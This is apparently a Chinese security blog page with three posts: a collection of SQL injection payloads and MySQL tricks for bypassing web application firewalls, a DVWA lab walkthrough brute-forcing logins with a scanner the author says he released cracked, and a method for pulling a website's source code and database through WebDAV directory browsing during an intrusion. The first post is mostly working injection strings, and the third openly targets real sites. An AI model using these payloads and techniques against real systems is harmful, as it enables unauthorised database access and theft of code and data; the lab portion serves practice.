Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。



基本/简单绕过方法:

1、注释符



http://www.site.com/index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4….



2、使用大小写



http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….



3、结合前面两种方法



http://www.site.com/index.php?page_id=-15 /!uNIOn/ /!SelECt/ 1,2,3,4….



4、关键字替换



http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….



此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....



5、内部注释



http://www.site.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4…



U替换为%55,S替换为%53 在 union 和 select 之间添加注释/
/



高级绕过方法:

1、缓冲区溢出/使防火墙崩溃



大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃



http://www.site.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4….



你可以使用如下方法测试WAF



?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4….



如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF



2、对字母进行编码



http://www.site.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4….



3、使用其他变量或者命令对注入语句进行替换



COMMAND | WHAT TO USE INSTEAD



@@version | version()



concat() | concat_ws()



group_concat() | concat_ws()



4、利用WAF本身的功能绕过



假如你发现WAF会把""替换为空,那么你就可以利用这一特性来进行绕过



????????http://www.site.com/index.php?page_id=-15+uni
on+select+1,2,3,4....



其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)?











研究过国内外的waf。分享一些 奇淫绝技。



一些大家都了解的技巧如:/
!/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。



Mysql



tips1: 神奇的 &nbsp; (格式输出表的那个控制符)<br /> 过空格和一些正则。<br /> <br /> mysql&gt; selectversion() <br /> &nbsp;&nbsp;&nbsp; -&gt; ; &nbsp;<br /> +----------------------+ &nbsp;<br /> |version()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | &nbsp;<br /> +----------------------+ &nbsp;<br /> | 5.1.50-community-log | &nbsp;<br /> +----------------------+ &nbsp;<br /> 1 row in set (0.00 sec)<br /> 一个更好玩的技巧,这个控制符可以当注释符用(限定条件)。



mysql> select id from qs_admins where id=1;dfff and comment it; <br /> +----+ &nbsp;<br /> | id | &nbsp;<br /> +----+ &nbsp;<br /> | 1&nbsp; | &nbsp;<br /> +----+ &nbsp;<br /> 1 row in set (0.00 sec)<br /> usage : where&nbsp; id ='0''xxxxcomment on.



tips2:神奇的- + .

mysql> select id from qs_admins;  

+----+  

| id |

+----+  

| 1  |  

+----+  

1 row in set (0.00 sec)



mysql> select+id-1+1.from qs_admins;  

+----------+  

| +id-1+1. |  

+----------+  

| 1        |  

+----------+  

1 row in set (0.00 sec)



mysql> select-id-1+3.from qs_admins;  

+----------+  

| -id-1+3. |  

+----------+  

| 1        |  

+----------+  

1 row in set (0.00 sec)

(有些人不是一直在说关键字怎么过?过滤一个from ...    就是这样连起来过)



tips3: @

mysql> select@^1.from qs_admins;  

+------|+  

| @^1. |  

+------|+  

| NULL |  

+------|+

这个是bypass  曾经dedeCMS filter .



或者这样也是ok.



tips4:mysql function() as xxx  也可以不用as 和空格

mysql> select-count(id)test from qs_admins;  

+------|+  

| test |  

+------|+  

| -1   |  

+------|+  

1 row in set (0.00 sec)

tips5:/
![>5000]/ 新构造  版本号(这个可能有些过时了。)

mysql> /*!40000select\
/ id from qs_admins;  

+----+  

| id |  

+----+  

|  1 |  

+----+  

1 row in set (0.00 sec)


------End-----如果你有什么更好的奇淫技巧,记得告诉我----O(∩_∩)O哈哈~


admin 发布于  2015-5-22 18:52 

十大渗透测试系统之---DVWA1.0.8练习笔记(一) 渗透测试

测试环境:

操作系统: Windows 8.1

运行时: .Net Framework 4.5

PHP+MySQL+Apache 集成测试环境: wamp_serverx64

首先,从 http://www.dvwa.co.uk/ 下载 DVWA1.0.8,并将文件释放到 F:\Web\DVWA-1.0.8 (因为我的wamp自己设置的默认目录是 F:\Web,至于方法,请移步:自定义wamp_server的网站根目录)

点击查看原图

修改配置文件 config\config.inc.php , 设置数据库连接账号及默认的安全级别:
$_DVWA[ 'db_server' ] = 'localhost';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = root;
$_DVWA['default_security_level'] = "low";
然后,访问 http://localhost/DVWA-1.0.8/login.php

点击查看原图

第一关,就是考虑如何登录进去。

这里,我们计划采取挂字典进行暴力登录尝试,这类工具称之为 Bruter,下面以 WebCruiser
Web Vulnerability Scanner V3.5.3
(http://sec4app.com )为例,我博客已发布最新破解版。
首先,随便输入一个错误的用户名和密码,这里输入 admin 和 admin :


点击查看原图

提交后, 切换到 Resend(重放)界面:

点击查看原图

最新的请求在最上面,点击它,可以在右边看到详细信息。点击“ Bruter”按钮:

点击查看原图

软件自动切换到 Bruter 界面,并且自动发现 username 和 password 字段(如果使用了特殊的参数名,则手工从下拉列表中选中它)。 Bruter 提供了两种字典方式,一种是用户名和密码使用不同的字典(需要自己去选择字典的位置),另一种是使用网络已泄漏的(用户名 :密码)组合。点击”Go”按钮, 启动猜解:

点击查看原图

可以看到,可以登录的用户名和密码已经猜解出来了,为 admin/password 。切换到 WebBrowser 界面,输入猜解出来的用户名和密码,即可登录成功。

点击查看原图

登录之后,切换到 DVWA Security 设置页,检查一下安全级别是否为低( low),如果不是,修改为 low,这样 DVWA 系统就是含有漏洞的版本了。开始 DVWA 登录后的测试工作了:

点击查看原图

登录之后,里面还有一个 Brute Force 的测试项,继续采用刚才的方式,随便输入用户名和密码提交,并在 Resend 界面找到该请求,并且继续做刚刚登陆的时候一样的步骤,结果如下:


点击查看原图





由图可知.这个测试项也使用了 admin/password 这组账号。

太晚了,今天就到这里吧,明天继续后面的几个操作演示,欢迎转载,转载请注明:Mrxn's Blog  https://mrxn.net 



admin 发布于  2015-5-14 22:31 

利用网上邻居巧下整站源代码 渗透测试

我们入侵站点的时候都想得到网站的源代码,然后分析代码,看看有没有漏洞。可是得到代码是很不容易的,正好我在一次偶然的机会中发现了一种可以看到代码的方法.

有时候我们访问某个网站能遇到这种情况:没有默认的页面而文件就暴露在我们面前,这种情况非常多。如下图1所示。这样我们就可以轻而易举的拿到网站的源代码了。

有人会说:你拿到这么一点点的源代码有什么用?说得对!这只是部分代码,要是我能拿到网站的全部源代码就好了!让我们来想想办法吧!

拿上面的站点作例子,让它的整站都变成可浏览的文件夹有什么方法呢?嘿嘿!我们打开网上邻居,然后找到左边上部的“添加一个网上邻居”。

然后会出现一个界面提示你选择位置,我们直接点“下一步”,会出现一个会话框让我们输入目标地址。这里我们是通过HTTP协议把它添加为“网上邻居”的,我们可以这样填写

然后点“下一步”,这个时候会有一段时间的等待。随便起个名字然后点“完成”,这个时候我们再去打开“网上邻居”,看!我们的网上邻居里面多了一位新客人!

我们打开它看看,到底都有些什么东东,嘿嘿!

看,所有的源文件都暴露在我们的面前了(注意:这里的文件是所有的可浏览目录下的源文件)。嘿嘿,爽吧?!这样对我们寻找数据库的位置非常有帮助。如果数据库直接在可浏览的目录下的话,我们就可以直接下载数据库了!

有时候我们在填完网站的地址后会碰到这种情况,如图7所示。

这就说明这个站点没有列出目录的权限,大家考虑其它的入侵方法吧!


admin 发布于  2015-5-7 00:25